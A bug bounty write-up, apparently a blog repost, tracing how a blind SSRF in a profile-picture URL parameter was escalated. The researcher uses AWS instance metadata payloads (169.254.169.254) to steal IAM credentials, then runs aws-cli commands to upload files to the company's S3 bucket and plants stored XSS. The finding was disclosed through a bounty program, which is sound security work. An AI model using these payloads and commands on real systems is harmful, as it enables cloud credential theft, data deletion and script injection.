How I Turned a Low Blind SSRF Into a Critical Vulnerability With Strategic Impact Escalation

6 days ago 17
BOOK THIS SPACE FOR AD
ARTICLE AD

DrakenKun

السلام عليكم , My Name is Amr Mustafa and happy to share with you my latest critical finding on this writeup. Don’t forget to grab a cup of coffee, and let’s get started !!

First of all what is the SSRF ?

Server-side request forgery (SSRF) is a web security vulnerability that allows an attacker to cause the server-side application to make requests to an unintended location. making the attacker cause the server to make a connection to internal-only services within the organization’s infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems. This could leak sensitive data, such as authorization credentials.

Image From Detectify Labs

what is the Blind SSRF ?

The Blind SSRF vulnerabilities arise when an application can be induced to issue a back-end HTTP request to a supplied URL, but the response from the back-end request is not returned in the application’s front-end response.

Now we know the Difference Between The SSRF & Blind SSRF , let’s go to my case …

let’s say we have the vulnerable domain is redacted.com

I signed up and created a new account. after I go to https://redacted.com/profile there is 2 options for uploading image

Upload a file from your computerUse Facebook Profile Picture

I tried the First Option (Upload a file from your computer), And I noticed my image was publicly accessible URLs. After uploading an image, the system responded with the message “Your Account details were successfully updated.”

I discovered that the image was stored in an Amazon S3 bucket with a predictable URL, allowing me to access the image without any access restrictions.

<img src="[redacted].s3.region.amazonaws.com/[random_hash].jpeg">
The Source URL of the Image

After I visited that URL

It seems that the backend handled the image upload and stored it in an Amazon S3 bucket with a publicly accessible URL.

After testing that function,

I didn’t find anything interesting except for that one. So, I went to the second option (Use Facebook Profile Picture). But first, you have to connect your Facebook account with the platform account.

After connecting my Facebook account, I clicked on the second option and intercepted the request. I saw a new parameter called profile_picture_url. The request will be...

POST /profile HTTP/2
Host: account.redacted.com
Content-Type: multipart/form-data; boundary=---------------------------154478894334976744053178475009
-----------------------------154478894334976744053178475009
Content-Disposition: form-data; name="first_name"
Attacker
-----------------------------154478894334976744053178475009
Content-Disposition: form-data; name="last_name"
Attacker
-----------------------------154478894334976744053178475009
Content-Disposition: form-data; name="profile_picture_url"
https://scontent.fcai19-12.fna.fbcdn.net/v/t39.30808-1/465664427_1119561922865378_4789856880901123456_n.jpg
-----------------------------154478894334976744053178475009

The response

{"your account details were successfully updated"}

After viewing the source code I saw that source of image change to another hashed file in the s3 bucket

<img src="[redacted].s3.region.amazonaws.com/[Different_Random_Hash].jpeg">

I added that request to the repeater and try to test that “profile_picture_url” Parameter

First, I added my collaborator link to check if there was any Blind SSRF

And I Found The Surprise …

I got HTTP and DNS interactions from the server, so I quickly visited ipinfo.io to gather information about that IP address and noticed that it came from an Amazon AWS hostname

Now that we have a Blind SSRF, we can consider it as informative/low because I can’t perform internal port scanning or exploit it blindly. I just received the response, ‘Your account details were successfully updated,’ without any additional data.

However, from the notes I took when testing the first option — ‘the backend handled the image upload and stored it in an Amazon S3 bucket inside an <img> tag’

I visited https://redacted.com/profile, read the source code, and found something different. It saves it as an HTML file.

After Visiting that URL I saw the magic …

The Content of my collaborator host !

That means I can make internal requests and fetch the data saved publicly in the company’s S3 bucket, and I will be able to access it without any problems.

Since the host is in an AWS EC2 environment, I can inject my payload “http://169.254.169.254/latest/meta-data/iam/security-credentials/"

to retrieve the IAM user credentials

After Visiting the URL inside <img> tag

After we obtain the user, we can inject the payload to steal the IAM user credentials.

“http://169.254.169.254/latest/meta-data/iam/security-credentials/<IAM_user>”

The URL inside the image tag was a JSON endpoint, and after I clicked on it

Bingooo !!

Now we were able to steal the credentials :)

I reached out to my friend Beshoy Adel (0xbedo) for collaboration to help find more endpoints containing sensitive information, and together, we discovered many of them.

“http://169.254.169.254/latest/dynamic/instance-identity/document”

And we Able to extract all of these endpoints

http://169.254.169.254/latest/meta-data/block-device-mapping/
http://169.254.169.254/latest/meta-data/security-groups
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/info
http://169.254.169.254/latest/meta-data/mac
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/signature
http://169.254.169.254/latest/dynamic/instance-identity/pkcs7
http://169.254.169.254/latest/dynamic/instance-identity/rsa2048

The next step is to focus on accessing the S3 bucket and attempting to escalate it to RCE (Remote Code Execution) or identify any other vulnerabilities.

To Access AWS with your credentials

export AWS_ACCESS_KEY_ID= [Your_Access_Key]
export AWS_SECRET_ACCESS_KEY= [SecretKey]
export AWS_SESSION_TOKEN= [Token]
export AWS_DEFAULT_REGION= [Region]

We tried the “get-caller-identity” command to return details about the IAM user or role whose credentials are used to call the operation.

aws sts get-caller-identity

We tried command to get list of the files that uploaded in that bucket

aws s3 ls s3://<bucket's_name>

And we got “Permission Denied”

We tried several commands, but unfortunately we got the same forbidden result (“Permission Denied”) , it seems that the IAM user has low privileges. We also attempted to upload a file using a command.

echo "POC By Drakenkun & Bedo" > POC.txt
aws s3 CP POC.txt s3://<bucket's_name>

After visiting URL “https://[redacted].s3.region.amazonaws.com/POC.txt”

We tried to upload our simple html file making alert message with javascript

Now we have achieved a Stored XSS. :)

Additionally, we discovered that we have “delete” permissions, allowing us to remove anything from the S3 bucket.

The platform’s business model enables users to create a POST to sell or rent items publicly. Every image on the platform, including profile photos, is stored in that S3 bucket, which gives us the ability to modify or delete them.

We finally submitted the report to the program on the YesWeHack platform, and Alhamdulillah, the program accepted it as a critical vulnerability and rewarded us with €€€€.

Here are some resources I read during my testing that helped me

In the end, I hope you enjoyed your coffee, and that this article helps you all as well. If you have any questions, feel free to leave a comment, and I’ll be happy to answer

Read Entire Article